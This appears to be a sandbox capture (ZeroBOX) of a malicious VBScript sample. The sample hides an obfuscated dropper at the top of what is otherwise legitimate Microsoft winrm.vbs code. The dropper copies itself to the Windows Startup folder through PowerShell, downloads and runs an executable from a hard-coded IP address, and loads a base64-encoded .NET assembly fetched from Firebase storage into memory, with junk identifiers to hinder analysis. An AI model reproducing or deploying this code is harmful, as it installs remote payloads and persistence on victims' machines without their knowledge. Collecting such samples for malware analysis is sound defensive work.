Static | ZeroBOX
No static analysis available.
On Error Resume Next
dim HgNH, yzoG, dyKH
yzoG = "pu(}
yzoG = Replace(yzoG,"(}
@","t")
yzoG = sjGc(yzoG)
HgNH = CreateObject("WScript.Shell").CurrentDirectory & "\" & WScript.ScriptName
yzoG = vWzI(HgNH + "
" , yzoG)
dyKH = "LNK"
if 0 then
Set GKhv = CreateObject ("Wscript.Shell")
dim OkCZ, ZKIu, NWCN
OkCZ = ")'sbv." + dyKH + " \putratS\smargorP\uneM"
OkCZ = OkCZ + " tratS\swodniW\tfosorciM\gnimaoR\ataDppA\'"
OkCZ = NUPN(OkCZ,"
ZKIu = "[System.I"
ZKIu = ZKIu + "O.File]::Copy('"
ZKIu = ZKIu + HgNH + "',"
ZKIu = ZKIu + "'C:\Users\' + [Environment]::UserName + "
ZKIu = ZKIu + sjGc(OkCZ)
ZKIu = NUPN(ZKIu, sjGc("
") ,"")
NWCN = ("cmd.exe /c ping 127.0.0.1 -n 10 & powershell -com(}
@and " + ZKIu )
NWCN = Replace(NWCN,"(}
@","m")
GKhv.run NWCN, 0, true
end if
Function vWzI(hqWU,TSXl)
dim uBxu
uBxu = "vWzI = "
uBxu = uBxu + "In(}
@tr(hqWU, TSXl)"
uBxu = Replace(uBxu,"(}
@","S")
execute(uBxu)
End Function
Function NUPN(hqWU,TSXl,Ubem)
dim uBxu
uBxu = "NUPN = "
uBxu = uBxu + "R(}
@plac(}
uBxu = Replace(uBxu,"(}
@","e")
uBxu = uBxu + "(hqWU ,TSXl, Ubem)"
execute(uBxu)
End Function
Function sjGc(hqWU)
dim uBxu
uBxu = "sjGc = "
uBxu = uBxu + "StrR(}
uBxu = Replace(uBxu,"(}
@","e")
uBxu = uBxu + "(hqWU)"
execute(uBxu)
End Function
Dim objWMIService, objItem, colItems, strComputer, strOSName
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")
Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_OperatingSystem",,48)
For Each objItem in colItems
strOSName = objItem.Name
If InStr(strOSName, "Windows 7") Then
Dim url, output
url = "http://195.178.120.24/mojo.payload_Encrypted.exe"
output = "C:\Users\Public\mojooooo.exe"
Dim webClient
Set webClient = CreateObject("WinHttp.WinHttpRequest.5.1")
webClient.Open "GET", url, False
webClient.Send
Dim stream
Set stream = CreateObject("Adodb.Stream")
stream.Open
stream.Type = 1 ' Binary
stream.Write webClient.ResponseBody
stream.SaveToFile output, 2 ' Overwrite existing file
stream.Close
Set stream = Nothing
Set webClient = Nothing
' Executar o arquivo baixado
Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Run output, 1, True
Set shell = Nothing
On Error Resume Next
Dim XmjaUwUhOjKYcwzNxacAeQWwebGOCKpOtvAcAbOlDcKZcAWOLQPmOcODWfIMNkKCNoXKgpvbQemqNpMUAIhUDXpZWtbIxmgLItwO
UdoIoHPRooNhGfxPoIGZzghSWWxToGgWodmJZxgzvJGDQmKosgUXWJnczpCKOQloOuCGindWCecpqnKvmBRocCnDhoxKodiOBoff:PKXURuXHPXKJaxUcDUHpOhWczzCjDbGPjcLrpJWgLrbDULSPnhYMPrUNWchPBCNDByWbgwczCBoURwPcLAHRNWwDWjJwDKgfAjxa:LNKzkJXHcKLHqsscTzkLcaUNJAozfzipMHGULZcAOUzqcGYcBaWkpUUrYkQAduDfdNkzXqHAOWcssqAGGPHkrkqqUMZSTNXNPMsa = "4
:*^*@*
4*@@(+(
*":tWbaNDNaLappDhDryPyUkZRtUIpeWuKNPGOdBWKsRcOpIOxIyHDGKWPRpGDWNPIYxGApGKYPNGKcPyYuGhuNdPGrwNOIWyPOpKay:YMVFSJORBFVWAOJNDKEHDAGYTGVDYZIUKEQQCMQZUNXCFKUSDEJXPOJXGXLMOKSBWBLVXTKRUENPCETJMCZUQLEWUSKFADKKVVFD:
UdoIoHPRooNhGfxPoIGZzghSWWxToGgWodmJZxgzvJGDQmKosgUXWJnczpCKOQloOuCGindWCecpqnKvmBRocCnDhoxKodiOBoff:PKXURuX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OUzqcGYcBaWkpUUrYkQAduDfdNkzXqHAOWcssqAGGPHkrkqqUMZSTNXNPMsa = "4
:*^*@*
4*@@(+(
*":tWbaNDNaLappDhDryPyUkZRtUIpeWuKNPGOdBWKsRcOpIOxIyHDGKWPRpGDWNPIYxGApGKYPNGKcPyYuGhuNdPGrwNOIWyPOpKay:YMVFSJORBFVWAOJNDKEHDAGYTGVDYZIUKEQQCMQZUNXCFKUSDEJXPOJXGXLMOKSBWBLVXTKRUENPCETJMCZUQLEWUSKFADKKVVFD:
jlRzfhXsNSmusnQoiyyOhmrPUVveCELnAaxQOeYsPQEcExXNBmNknQxwcCWjlobDmztDRAaVSkqqiAjWxfsfwqAccBeMilRYfAnL = "powershell.exe [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('https://firebasestorage.googleapis.com/v0/b/fir-8c14f.appspot.com/o/vbs_simple.txt?alt=media&token=037e80b1-dda6-4363-9a11-5e9fa5a03daa'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('
(.87](
(.59](
UdoIoHPRooNhGfxPoIGZzghSWWxToGgWodmJZxgzvJGDQmKosgUXWJnczpCKOQloOuCGindWCecpqnKvmBRocCnDhoxKodiOBoff:PKXURuXHPXKJaxUcDUHpOhWczzCjDbGPjcLrpJWgLrbDULSPnhYMPrUNWchPBCNDByWbgwczCBoURwPcLAHRNWwDWjJwDKgfAjxa:LNKzkJXHcKLHqsscTzkLcaUNJAozfzipMHGULZcAOUzqcGYcBaWkpUUrYkQAduDfdNkzXqHAOWcssqAGGPHkrkqqUMZSTNXNPMsa = "4
:*^*@*
4*@@(+(
*":tWbaNDNaLappDhDryPyUkZRtUIpeWuKNPGOdBWKsRcOpIOxIyHDGKWPRpGDWNPIYxGApGKYPNGKcPyYuGhuNdPGrwNOIWyPOpKay:YMVFSJORBFVWAOJNDKEHDAGYTGVDYZIUKEQQCMQZUNXCFKUSDEJXPOJXGX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osgUXWJnczpCKOQloOuCGindWCecpqnKvmBRocCnDhoxKodiOBoff:PKXURuXHPXKJaxUcDUHpOhWczzCjDbGPjcLrpJWgLrbDULSPnhYMPrUNWchPBCNDByWbgwczCBoURwPcLAHRNWwDWjJwDKgfAjxa:LNKzkJXHcKLHqsscTzkLcaUNJAozfzipMHGULZcAOUzqcGYcBaWkpUUrYkQAduDfdNkzXqHAOWcssqAGGPHkrkqqUMZSTNXNPMsa = "4
:*^*@*
4*@@(+(
*":tWbaNDNaLappDhDryPyUkZRtUIpeWuKNPGOdBWKsRcOpIOxIyHDGKWPRpGDWNPIYxGApGKYPNGKcPyYuGhuNdPGrwNOIWyPOpKay:YMVFSJORBFVWAOJNDKEHDAGYTGVDYZIUKEQQCMQZUNXCFKUSDEJXPOJXGXLMOKSBWBLVXTKRUENPCETJMCZUQLEWUSKFADKKVVFD:
XmjaUwUhOjKYcwzNxacAeQWwebGOCKpOtvAcAbOlDcKZcAWOLQPmOcODWfIMNkKCNoXKgpvbQemqNpMUAIhUDXpZWtbIxmgLItwO.Run(jlRzfhXsNSmusnQoiyyOhmrPUVveCELnAaxQOeYsPQEcExXNBmNknQxwcCWjlobDmztDRAaVSkqqiAjWxfsfwqAccBeMilRYfAnL),false
End If
Set objItem = Nothing
Set colItems = Nothing
Set objWMIService = Nothing
WScript.Quit
Public Function ArgumentExists(argumentName)
Dim index
ArgumentExists = False
If LCase(argumentName) = NPARA_PSEUDO_COMMAND Then
ArgumentExists = m_commandLineParser.UnnamedExists(m_commandIndex)
ElseIf LCase(argumentName) = NPARA_PSEUDO_OPERATION Then
ArgumentExists = m_commandLineParser.UnnamedExists(m_commandIndex + 1)
ElseIf LCase(argumentName) = NPARA_PSEUDO_ACTION Then
If LCase(m_commandLineParser.UnnamedValue(m_commandIndex + 1)) = OP_INV Then
ArgumentExists = m_commandLineParser.UnnamedExists(m_commandIndex + 2)
End If
ElseIf LCase(argumentName) = NPARA_PSEUDO_RESOURCE Then
If LCase(m_commandLineParser.UnnamedValue(m_commandIndex + 1)) = OP_INV Then
ArgumentExists = m_commandLineParser.UnnamedExists(m_commandIndex + 3)
Else
ArgumentExists = m_commandLineParser.UnnamedExists(m_commandIndex + 2)
End If
ElseIf argumentName = NPARA_PSEUDO_AT Then
For index = m_commandIndex To m_commandLineParser.UnnamedCount - 1
If Mid(m_commandLineParser.UnnamedValue(index),1,1) = NPARA_PSEUDO_AT Then
ArgumentExists = True
Exit For
End If
Next
Else
ArgumentExists = m_commandLineParser.NamedExists(argumentName)
End If
End Function
Public Function Argument(argumentName)
Dim index
If IsNumeric(argumentName) Then
Argument = m_commandLineParser.PositionName(argumentName + m_commandIndex)
ElseIf LCase(argumentName) = NPARA_PSEUDO_COMMAND Then
Argument = m_commandLineParser.UnnamedValue(m_commandIndex)
ElseIf LCase(argumentName) = NPARA_PSEUDO_OPERATION Then
Argument = m_commandLineParser.UnnamedValue(m_commandIndex + 1)
ElseIf LCase(argumentName) = NPARA_PSEUDO_ACTION Then
If LCase(m_commandLineParser.UnnamedValue(m_commandIndex + 1)) = OP_INV Then
Argument = m_commandLineParser.UnnamedValue(m_commandIndex + 2)
Else
Argument = ""
End If
ElseIf LCase(argumentName) = NPARA_PSEUDO_RESOURCE Then
If LCase(m_commandLineParser.UnnamedValue(m_commandIndex + 1)) = OP_INV Then
Argument = m_commandLineParser.UnnamedValue(m_commandIndex + 3)
Else
Argument = m_commandLineParser.UnnamedValue(m_commandIndex + 2)
End If
ElseIf argumentName = NPARA_PSEUDO_AT Then
For index = m_commandIndex To m_commandLineParser.UnnamedCount - 1
If Mid(m_commandLineParser.UnnamedValue(index),1,1) = NPARA_PSEUDO_AT Then
Argument = Mid(m_commandLineParser.UnnamedValue(index),2)
Exit For
Else
Argument = ""
End If
Next
Else
Argument = m_commandLineParser.NamedValue(argumentName)
If argumentName = NPARA_FORMAT Then
If (Mid(Argument,1,1) = "#") Then
Argument = Mid(Argument,2)
End If
End If
End If
End Function
Public Function Count
Count = m_commandLineParser.Count - m_commandIndex
End Function
Public Function Parse(commandLineStr)
Dim rval
Dim index
rval = m_commandLineParser.Parse(commandLineStr)
If rval Then
rval = False
For index = 0 To m_commandLineParser.UnnamedCount - 1
If InStr(LCase(m_commandLineParser.UnnamedValue(index)),"winrm.vbs") > 0 Then
m_commandIndex = index
rval = True
Exit For
End If
Next
If Not rval Then
ErrorHandler True, GetResource("L_ScriptNameNotFound_ErrorMessage")
End If
End If
Parse = rval
End Function
'''''''''''''''''''''
' Removes ?params part from URI
private function StripParams(uri)
dim qmpos
ASSERTBOOL Len(uri) <> 0, GetResource("L_URIZERO_Message")
qmpos = InStr(uri, "?")
if qmpos <> 0 then
StripParams = Left(uri, qmpos - 1)
else
StripParams = uri
end if
end function
'''''''''''''''''''''
' Enumerate helper
private function Enumerate(wsmanObj, session, cmdlineOptions, resLocator, formatOption)
dim filter
dim dialect
dim e
dim res
dim formattedText
dim flags
flags = 0
if cmdlineOptions.ArgumentExists(NPARA_FILTER) then
filter = cmdlineOptions.Argument(NPARA_FILTER)
dialect = URI_WQL_DIALECT
end if
if cmdlineOptions.ArgumentExists(NPARA_DIALECT) then
dialect = cmdlineOptions.Argument(NPARA_DIALECT)
end if
If LCase(dialect) = "selector" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/wsman/SelectorFilter"
End If
If LCase(dialect) = "http://schemas.dmtf.org/wbem/wsman/1/wsman/selectorfilter" Then
dim dict
set dict = ProcessParameterHash(filter)
If dict Is Nothing Then
Exit Function
End If
Dim name
Dim value
filter = "<wsman:SelectorSet xmlns:wsman='http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd'>"
For Each name In dict
value = dict(name)
filter = filter & "<wsman:Selector Name='" & Escape(name) & "'>" & Escape(value) & "</wsman:Selector>"
Next
filter = filter & "</wsman:SelectorSet>"
End If
If LCase(dialect) = "wql" Then
dialect = "http://schemas.microsoft.com/wbem/wsman/1/WQL"
End If
If LCase(dialect) = "association" Then
dialect = "http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter"
End If
If LCase(dialect) = LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter") Then
If not cmdlineOptions.ArgumentExists(NPARA_FILTER) Then
ASSERTBOOL false, "-" & NPARA_FILTER & " parameter is required for the given dialect"
End If
If (cmdlineOptions.ArgumentExists(NPARA_ASSOCINST)) Then
flags = flags OR wsmanObj.EnumerationFlagAssociationInstance
Else
flags = flags OR wsmanObj.EnumerationFlagAssociatedInstance
End if
End If
If ( (LCase(dialect) <> LCase("http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter")) and cmdlineOptions.ArgumentExists(NPARA_ASSOCINST) ) Then
ASSERTBOOL false, "-" & NPARA_ASSOCINST & " is not a valid option for the given dialect"
End If
if cmdlineOptions.ArgumentExists(NPARA_RETURN_TYPE) then
select case LCase(cmdlineOptions.Argument(NPARA_RETURN_TYPE))
case VAL_RT_OBJECT
' default
case VAL_RT_EPR
flags = flags OR wsmanObj.EnumerationFlagReturnEPR
case VAL_RT_OBJ_EPR
flags = flags OR wsmanObj.EnumerationFlagReturnObjectAndEPR
case else
ASSERTBOOL false, "-" & NPARA_RETURN_TYPE & ":" & cmdlineOptions.Argument(NPARA_RETURN_TYPE) & " is not a valid option"
end select
end if
if (cmdlineOptions.ArgumentExists(NPARA_SHALLOW)) then
flags = flags OR wsmanObj.EnumerationFlagHierarchyShallow
elseif (cmdlineOptions.ArgumentExists(NPARA_BASE_PROPS_ONLY)) then
flags = flags OR wsmanObj.EnumerationFlagHierarchyDeepBasePropsOnly
else
flags = flags OR wsmanObj.EnumerationFlagHierarchyDeep
end if
on error resume next
set e = session.Enumerate(resLocator, filter, dialect, flags)
if Err.Number = T_O then
set e = session.Enumerate(resLocator, filter, dialect, flags)
if Err.Number = T_O then
set e = session.Enumerate(resLocator, filter, dialect, flags)
end if
end if
ASSERTERR session, formatOption
on error goto 0
if cmdlineOptions.ArgumentExists(NPARA_TIMEOUT) then
e.Timeout = cmdlineOptions.Argument(NPARA_TIMEOUT)
end if
if(LCase(formatOption) <> VAL_FORMAT_TEXT) then
wscript.echo "<wsman:Results xmlns:wsman=""http://schemas.dmtf.org/wbem/wsman/1/wsman/results"">"
end if
do while Not e.AtEndOfStream
on error resume next
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
if Err.Number = T_O then
res = e.ReadItem()
end if
end if
if Err.Number <> 0 then
stdErr.WriteLine e.Error
wscript.echo "</wsman:Results>"
end if
ASSERTERR e, formatOption
on error goto 0
'reformat if requested
on error resume next
err.clear
if not Reformat(res,formattedText,formatOption) then
exit do
end if
wscript.echo formattedText
loop
if(LCase(formatOption) <> VAL_FORMAT_TEXT) then
wscript.echo "</wsman:Results>"
end if
set e = Nothing
Enumerate = ""
end function
'''''''''''''''''''''
private function GetSuffix(resUri)
ASSERTBOOL Len(resUri) <> 0, GetResource("L_URIZERO_Message")
GetSuffix = "_INPUT"
end function
'''''''''''''''''''''
' QuickConfig helper
Private Function QuickConfig(session, cmdlineOptions)
QuickConfigRemoting session, cmdlineOptions, true
If Err.Number <> 0 Then
Exit Function
End If
QuickConfigRemoting session, cmdlineOptions, false
End function
Private Function QuickConfigRemoting(session, cmdlineOptions, serviceOnly)
Dim analysisInputXml
Dim analysisOutputXml
Dim analysisOutput
Dim transport
Dim action
If (serviceOnly = false) Then
If (Not cmdlineOptions.ArgumentExists(NPARA_TRANSPORT)) Then
transport = "http"
Else
transport = cmdlineOptions.Argument(NPARA_TRANSPORT)
End If
End If
If (serviceOnly = true) Then
analysisInputXml = "<AnalyzeService_INPUT xmlns=""http://schemas.microsoft.com/wbem/wsman/1/config/service""></AnalyzeService_INPUT>"
action = "AnalyzeService"
ElseIf (cmdlineOptions.ArgumentExists(NPARA_FORCE)) Then
analysisInputXml = "<Analyze_INPUT xmlns=""http://schemas.microsoft.com/wbem/wsman/1/config/service""><Transport>" & transport & "</Transport><Force/></Analyze_INPUT>"
action = "Analyze"
Else
analysisInputXml = "<Analyze_INPUT xmlns=""http://schemas.microsoft.com/wbem/wsman/1/config/service""><Transport>" & transport & "</Transport></Analyze_INPUT>"
action = "Analyze"
End If
On Error Resume Next
analysisOutputXml = sessionObj.Invoke(action, "winrm/config/service", analysisInputXml)
If Err.Number <> 0 Then
Exit Function
End If
'wscript.echo analysisOutputXml
On Error Resume Next
Set analysisOutput = CreateObject("MSXML2.DOMDocument.6.0")
If Err.number <> 0 Then
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_MSXML6MISSING_Message")
Exit Function
End If
analysisOutput.LoadXML(analysisOutputXml)
If (analysisOutput.parseError.errorCode <> 0) Then
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_XMLERROR_Message") & paramXmlFile.parseError.reason
Exit Function
End If
Dim xpathEnabled
Dim xpathText
Dim xpathUpdate
If (serviceOnly = true) Then
xpathEnabled = "/s:AnalyzeService_OUTPUT/s:RemotingEnabled"
xpathText = "/s:AnalyzeService_OUTPUT/s:Results"
xpathUpdate = "/s:AnalyzeService_OUTPUT/s:EnableService_INPUT"
Else
xpathEnabled = "/s:Analyze_OUTPUT/s:RemotingEnabled"
xpathText = "/s:Analyze_OUTPUT/s:Results"
xpathUpdate = "/s:Analyze_OUTPUT/s:EnableRemoting_INPUT"
End If
Dim enabled
Dim displayText
Dim updateInputXml
Dim source
enabled = GetElementByXpath(analysisOutput, xpathEnabled)
source = GetElementAttributeByXpath(analysisOutput, xpathEnabled, "Source")
If (enabled = "true") Then
If (serviceOnly = true) Then
stdOut.WriteLine GetResource("L_QuickConfigNoServiceChangesNeeded_Message2")
Else
stdOut.WriteLine GetResource("L_QuickConfigNoChangesNeeded_Message")
End If
Exit Function
End If
If (enabled <> "false") Then
stdErr.WriteLine GetResource("L_QuickConfig_InvalidBool_0_ErrorMessage")
Exit Function
End If
displayText = GetElementByXpath(analysisOutput, xpathText)
updateInputXml = GetElementByXpath(analysisOutput, xpathUpdate)
if (source = "GPO") Then
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_QuickConfig_RemotingDisabledbyGP_00_ErrorMessage")
stdErr.WriteLine displayText
Exit Function
End If
'wscript.echo updateInputXml
If (updateInputXml = "" OR displayText = "") Then
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_QuickConfig_MissingUpdateXml_0_ErrorMessage")
Exit Function
End If
If (serviceOnly = true) Then
stdOut.writeline GetResource("L_QuickConfig_ServiceUpdatesNeeded_0_Message")
Else
stdOut.writeline GetResource("L_QuickConfig_UpdatesNeeded_0_Message")
End If
stdOut.writeline GetResource("L_QuickConfig_UpdatesNeeded_1_Message")
stdOut.writeline ""
stdOut.writeline displayText
stdOut.writeline ""
If (Not cmdlineOptions.ArgumentExists(NPARA_QUIET) And Not cmdlineOptions.ArgumentExists(NPARA_FORCE)) Then
stdOut.write GetResource("L_QuickConfig_Prompt_0_Message")
dim answer
answer = LCase(stdIn.ReadLine)
If answer <> "y" And answer <> "yes" Then
Exit Function
End If
stdOut.writeline ""
End If
Dim updateOutputXml
If (serviceOnly = true) Then
action = "EnableService"
Else
action = "EnableRemoting"
End If
On Error Resume Next
updateOutputXml = sessionObj.Invoke(action, "winrm/config/service", updateInputXml)
If Err.Number <> 0 Then
Exit Function
End If
'wscript.echo updateOutputXml
Dim updateOutput
On Error Resume Next
Set updateOutput = CreateObject("MSXML2.DOMDocument.6.0")
If Err.number <> 0 Then
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_MSXML6MISSING_Message")
Exit Function
End If
updateOutput.LoadXML(updateOutputXml)
If (updateOutput.parseError.errorCode <> 0) Then
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_XMLERROR_Message") & paramXmlFile.parseError.reason
Exit Function
End If
Dim xpathStatus
Dim xpathResult
If (serviceOnly = true) Then
xpathStatus = "/s:EnableService_OUTPUT/s:Status"
xpathResult = "/s:EnableService_OUTPUT/s:Results"
Else
xpathStatus = "/s:EnableRemoting_OUTPUT/s:Status"
xpathResult = "/s:EnableRemoting_OUTPUT/s:Results"
End If
Dim status
Dim resultText
status = GetElementByXpath(updateOutput, xpathStatus)
resultText = GetElementByXpath(updateOutput, xpathResult)
If (status = "succeeded") Then
If (serviceOnly = true) Then
stdOut.WriteLine GetResource("L_QuickConfigUpdatedService_Message")
Else
stdOut.WriteLine GetResource("L_QuickConfigUpdated_Message")
End If
Else
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_QuickConfigUpdateFailed_ErrorMessage")
End If
If (resultText <> "") Then
stdOut.WriteLine ""
stdOut.WriteLine resultText
End If
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementByXpath(msxmlObj, xpath)
GetElementByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
If Not currentElement is Nothing Then
If currentElement.hasChildNodes() Then
If currentElement.childNodes.length = 1 Then
dim aNode
Set aNode = currentElement.childNodes.nextNode()
If aNode.nodeType = NODE_TEXT Then
GetElementByXpath = aNode.text
Exit Function
End If
End If
End If
GetElementByXpath = currentElement.xml
End If
Exit Function
Set elementList = msxmlObj.selectNodes(xpath)
If elementList.length = 1 Then
Set currentElement = elementList.nextNode()
If currentElement.nodeType = NODE_TEXT Then
GetElementByXpath = currentElement.text
Else
GetElementByXpath = currentElement.xml
End If
End If
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementAttributeByXpath(msxmlObj, xpath, attributeName)
GetElementAttributeByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
GetElementAttributeByXpath = currentElement.getAttribute("Source")
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementXml(msxmlObj, currentElement)
GetElementXml = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
GetElementByXpath = currentElement.xml
End Function
'''''''''''''''''''''
' Returns XML ns depending on the type of URI
private function GetXmlNs(resUri)
dim resUriLCase
dim s1
dim s2
ASSERTBOOL Len(resUri) <> 0, GetResource("L_URIZERO_Message")
resUriLCase = LCase(resUri)
if InStr(resUriLCase, URI_SQMI) <> 0 then
GetXmlNs = StripParams(resUri)
elseif InStr(resUriLCase, URI_WMI) <> 0 then
GetXmlNs = StripParams(resUri)
else
'//GetXmlNs = StripParams(resUri) & ".xsd"
'//This was reported by Intel as an interop issue. So now we are not appending a .xsd in the end.
GetXmlNs = StripParams(resUri)
end if
GetXmlNs = "xmlns:p=""" & GetXmlNs & """"
end function
'''''''''''''''''''''
' Verify if target is in SQv6 format
private function IsSQv6(target)
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Pattern = PTRN_SQV6_S
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regExpObj.Execute(target)
if matches.Count <> 0 then
IsSQv6 = true
else
IsSQv6 = false
end if
end function
'''''''''''''''''''''
' Extracts XML root node nm. from URI
private function GetRootNodeName(opr, resUri, actUri)
dim uriTmp
dim sfx
dim s
dim regexpObj
Set regexpObj = New RegExp
ASSERTBOOL Len(opr) <> 0, "'opr' parameter is 0 length or null"
sfx = ""
select case opr
case OP_PUT
uriTmp = resUri
case OP_CRE
uriTmp = resUri
case OP_INV
uriTmp = actUri
sfx = GetSuffix(resUri)
case else
GetRootNodeName = ""
exit function
end select
ASSERTBOOL Len(uriTmp) <> 0, GetResource("L_URIZERO_Message")
uriTmp = StripParams(uriTmp)
regexpObj.Pattern = PTRN_URI_LAST
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regexpObj.Execute(uriTmp)
ASSERTBOOL matches.Count = 1, GetResource("L_NOLASTTOK_Message")
uriTmp = matches(0)
ASSERTBOOL Len(uriTmp) <> 0, GetResource("L_URIZEROTOK_Message")
GetRootNodeName = uriTmp & sfx
end function
private function ProcessParameterHash(hashString)
on error resume next
dim matches
dim m
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Global = True
regexpObj.IgnoreCase = True
dim resultDictionary
set resultDictionary = CreateObject("Scripting.Dictionary")
If Len(hashString) > 0 then
If Len(hashString) > 2 Then
If Mid(hashString,1,1) <> "{" Or Mid(hashString,Len(hashString),1) <> "}" Then
stdErr.WriteLine GetResource("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
regexpObj.Pattern = PTRN_HASH_VALIDATE
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count <> 1 then
stdErr.WriteLine GetResource("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
'following check ensures that if we have unmatched substrings
'we report a syntax error. the way we determine is first to
'calculate the expected string length by going through all
'the matches and then comparing with input string length
dim expectedLength
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
expectedLength = matches.Count-1
for each m in matches
expectedLength = expectedLength + m.Length
next
'account for starting and closing {}
expectedLength = expectedLength + 2
if (expectedLength <> Len(hashString)) then
stdErr.WriteLine GetResource("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count > 0 then
for each m in matches
if resultDictionary.Exists(m.Submatches(0)) then
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_PUT_PARAM_NOARRAY_Message") & m.Submatches(0)
set ProcessParameterHash = Nothing
Exit Function
end if
if LCase(m.Submatches(1)) = "$null" then
resultDictionary.Add m.Submatches(0),null
else
resultDictionary.Add m.Submatches(0),m.Submatches(2)
end if
next
end if
ElseIf hashString <> "{}" Then
stdErr.WriteLine GetResource("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
Else
stdErr.WriteLine GetResource("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
set ProcessParameterHash = resultDictionary
end function
private function CreateAndInitializeResourceLocator(wsman,resourceUri,cmdlineOptions)
on error resume next
Dim key
dim resourceLocator
dim paramMap
Dim optionsValue
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' create the resource locator object
Set resourceLocator = Wsman.CreateResourceLocator(resourceUri)
if Err.number <> 0 then
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_RESOURCELOCATOR_Message")
set CreateAndInitializeResourceLocator = Nothing
exit function
end if
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the options on the resource locator
optionsValue = cmdlineOptions.Argument("options")
If Len(optionsValue) Then
set paramMap = ProcessParameterHash(optionsValue)
if paramMap Is Nothing then
set CreateAndInitializeResourceLocator = Nothing
'todo exit function
end if
for each key in paramMap
if IsNull(paramMap(key)) then
resourceLocator.AddOption key, null
else
resourceLocator.AddOption key,paramMap(key)
end if
next
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the fragment path and fragment dialect on the resource locator
if(cmdlineOptions.ArgumentExists(NPARA_FRAGMENT)) then
resourceLocator.FragmentPath = cmdlineOptions.Argument(NPARA_FRAGMENT)
end if
if(cmdlineOptions.ArgumentExists(NPARA_DIALECT)) then
resourceLocator.FragmentDialect = cmdlineOptions.Argument(NPARA_DIALECT)
end if
set CreateAndInitializeResourceLocator = resourceLocator
end function
'''''''''''''''''''''
' Reads input XML from the stdin or builds XML from @{...}
private function ProcessInput(wsman, operation, root, cmdlineOptions, resourceLocator,sessionObj,inputStr,formatOption)
on error resume next
dim parameterDic,key
dim putStr
dim elementList
dim currentElement
dim paramXmlFile
dim tmpNode
dim parameterString
dim parameterCount
dim xmlns
'make sure it's a relevent operation
select case operation
case OP_PUT
case OP_CRE
case OP_INV
case else
inputStr = ""
ProcessInput = true
exit function
end select
xmlns = GetXmlNs(resourceLocator.ResourceURI)
'process the parameters into a Map
parameterString = cmdlineOptions.Argument(NPARA_PSEUDO_AT)
parameterCount = 0
If Len(parameterString) Then
set parameterDic = ProcessParameterHash(parameterString)
'if parameter processing failed, exit
if parameterDic Is Nothing then
set ProcessInput = false
exit function
end if
parameterCount = parameterDic.Count
End If
'if there were no parameters, get from file
if parameterCount = 0 then
if cmdlineOptions.ArgumentExists(NPARA_FILE) then
inputStr = ReadFile(cmdlineOptions.Argument(NPARA_FILE))
ProcessInput = true
exit function
end if
end if
if operation = OP_CRE Or operation = OP_INV then
dim nilns
nilns = ""
dim parameters
parameters = ""
if parameterCount > 0 then
for each key in parameterDic
parameters = parameters & "<p:" & key
if IsNull(parameterDic(key)) then
parameters = parameters & " " & ATTR_NIL
nilns = " " & NS_XSI
end if
parameters = parameters & ">" & Escape(parameterDic(key)) & _
"</p:" & key & ">"
next
end if
putStr = "<p:" & root & " " & xmlns & nilns & ">" & _
parameters & "</p:" & root & ">"
elseif operation = OP_PUT then
if parameterCount = 0 then
stdErr.WriteLine GetResource("L_ERR_Message") & GetResource("L_PUT_PARAM_NOINPUT_Message")
inputStr = ""
ProcessInput = false
exit function
end if
'get the original resource xml
on error resume next
